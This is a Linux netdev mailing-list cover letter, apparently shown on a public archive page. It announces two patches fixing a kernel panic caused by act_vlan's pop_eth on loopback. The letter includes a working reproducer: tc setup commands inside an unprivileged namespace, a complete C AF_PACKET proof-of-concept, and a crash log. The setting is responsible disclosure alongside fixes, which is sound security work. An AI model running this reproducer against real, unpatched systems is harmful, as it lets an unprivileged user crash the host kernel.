From: Ren Wei <enjou1224z@gmail.com>
To: netdev@vger.kernel.org
Cc: jhs@mojatatu.com, jiri@resnulli.us, davem@davemloft.net,
edumazet@google.com, pabeni@redhat.com, horms@kernel.org,
peilin.ye@bytedance.com, cong.wang@bytedance.com,
gnault@redhat.com, vega@nebusec.ai, bronzed_45_vested@icloud.com,
enjou1224z@gmail.com
Subject: [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback
Date: Fri, 24 Jul 2026 01:54:46 +0800 [thread overview]
Message-ID: <cover.1784709375.git.bronzed_45_vested@icloud.com> (raw)
From: Wyatt Feng <bronzed_45_vested@icloud.com>
Hi Linux kernel maintainers,
We found an issue in net/sched/act_vlan.c.
The bug is reachable by an unprivileged user using private user and network namespaces.
The relevant details are provided below.
---- details below ----
Bug details:
The bug is in `tcf_vlan_act()` when handling `TCA_VLAN_ACT_POP_ETH`.
The action is applied without checking that the skb is on an Ethernet
device. On loopback and other non-Ethernet devices, `skb_eth_pop()`
removes `ETH_HLEN` bytes from the skb head even though the later TX path
still expects an Ethernet header.
When such a packet is transmitted through `lo`, `loopback_xmit()` calls
`eth_type_trans()`, which unconditionally pulls another `ETH_HLEN`
bytes. For a large non-linear AF_PACKET skb whose linear head contains
only the original Ethernet header, the first pull leaves
`skb_headlen(skb) == 0`. The second pull then reaches `__skb_pull()`
with `skb->len < skb->data_len` and triggers a kernel BUG, crashing the
guest.
This is a short-packet handling bug caused by applying an Ethernet-only
transform to a non-Ethernet skb.
Reproducer:
PATH=/usr/sbin:/usr/bin:/sbin:/bin gcc -O2 -Wall -x c -o mini_poc.bin mini_poc
PATH=/usr/sbin:/usr/bin:/sbin:/bin unshare -Urn sh -euxc '
ip link set lo up
trap "tc qdisc del dev lo clsact 2>/dev/null || true" EXIT
tc qdisc add dev lo clsact
tc filter add dev lo egress pref 1 protocol all flower \
action vlan pop_eth \
action skbmod dmac 02:11:22:33:44:55 pipe
./mini_poc.bin
'
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
int main(void)
{
struct sockaddr_ll sll;
unsigned char *frame;
size_t len = ETH_HLEN + 8192;
int fd;
frame = malloc(len);
if (!frame) {
perror("malloc");
return 1;
}
memset(frame, 'A', len);
frame[0] = 0xaa;
frame[1] = 0xbb;
frame[2] = 0xcc;
frame[3] = 0xdd;
frame[4] = 0xee;
frame[5] = 0xff;
frame[6] = 0x11;
frame[7] = 0x22;
frame[8] = 0x33;
frame[9] = 0x44;
frame[10] = 0x55;
frame[11] = 0x66;
frame[12] = 0x08;
frame[13] = 0x00;
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
if (fd < 0) {
perror("socket");
return 1;
}
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_IP);
sll.sll_ifindex = if_nametoindex("lo");
if (!sll.sll_ifindex) {
perror("if_nametoindex");
return 1;
}
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
perror("bind");
return 1;
}
if (send(fd, frame, len, 0) < 0) {
perror("send");
return 1;
}
close(fd);
free(frame);
return 0;
}
------END PoC--------
----BEGIN crash log----
[ 138.618799][ T9361] __skb_pull(len=14)
[ 138.619387][ T9361] skb len=8192 data_len=8192 headroom=16 headlen=0 tailroom=0
[ 138.619387][ T9361] end-tail=368 mac=(16,0) mac_len=0 net=(16,-1) trans=-1
[ 138.619387][ T9361] shinfo(txflags=0 nr_frags=1 gso(size=0 type=0 segs=0))
[ 138.625465][ T9361] dev name=lo feat=0x0000052e401d4c69
[ 138.646157][ T9361] ------------[ cut here ]------------
[ 138.646805][ T9361] kernel BUG at include/linux/skbuff.h:2847!
[ 138.647529][ T9361] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 138.648307][ T9361] CPU: 1 UID: 1001 PID: 9361 Comm: mini_poc.bin Not tainted 7.1.0-13910-g6c00e85cd46f #1 PREEMPT(full)
[ 138.650828][ T9361] RIP: 0010:eth_type_trans.cold+0x2c/0x30
[ 138.662853][ T9361] <TASK>
[ 138.663655][ T9361] loopback_xmit+0x21b/0x6e0
[ 138.672320][ T9361] packet_xmit+0x243/0x310
[ 138.672878][ T9361] packet_sendmsg+0x319a/0x5100
[ 138.680374][ T9361] __x64_sys_sendto+0xe0/0x1c0
[ 138.707494][ T9361] Kernel panic - not syncing: Fatal exception in interrupt
-----END crash log-----
Best regards,
Wyatt Feng
Changes since v1:
Link: https://lore.kernel.org/r/3ab4a04fbab887238facc1792e02c33fd68190f7.1782548651.git.bronzed_45_vested@icloud.com
Link: https://lore.kernel.org/r/40fe2d7dfce13411bfbe9271c0f7c54fb7e88e3b.1782548651.git.bronzed_45_vested@icloud.com
- Kept the actual code changes unchanged from the previous version.
- Reworded both commit messages to more clearly describe the failure
mode and the exact header-length checks.
- Consolidated the Reported-by tags to Vega <vega@nebusec.ai>.
Wyatt Feng (2):
net/sched: act_skbmod: require a full Ethernet header for MAC rewrites
net/sched: act_vlan: skip pop_eth on non-Ethernet devices
net/sched/act_skbmod.c | 9 +++++++--
net/sched/act_vlan.c | 4 ++++
2 files changed, 11 insertions(+), 2 deletions(-)
--
2.47.3
next reply other threads:[~2026-07-23 17:55 UTC|newest]
Thread overview: 6+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-23 17:54 Ren Wei [this message]
2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei
2026-07-25 10:46 ` [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback Jamal Hadi Salim
2026-07-25 12:21 ` Jamal Hadi Salim
2026-07-28 10:48 ` Guillaume Nault
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1784709375.git.bronzed_45_vested@icloud.com \
--to=enjou1224z@gmail.com \
--cc=bronzed_45_vested@icloud.com \
--cc=cong.wang@bytedance.com \
--cc=davem@davemloft.net \
--cc=edumazet@google.com \
--cc=gnault@redhat.com \
--cc=horms@kernel.org \
--cc=jhs@mojatatu.com \
--cc=jiri@resnulli.us \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=peilin.ye@bytedance.com \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.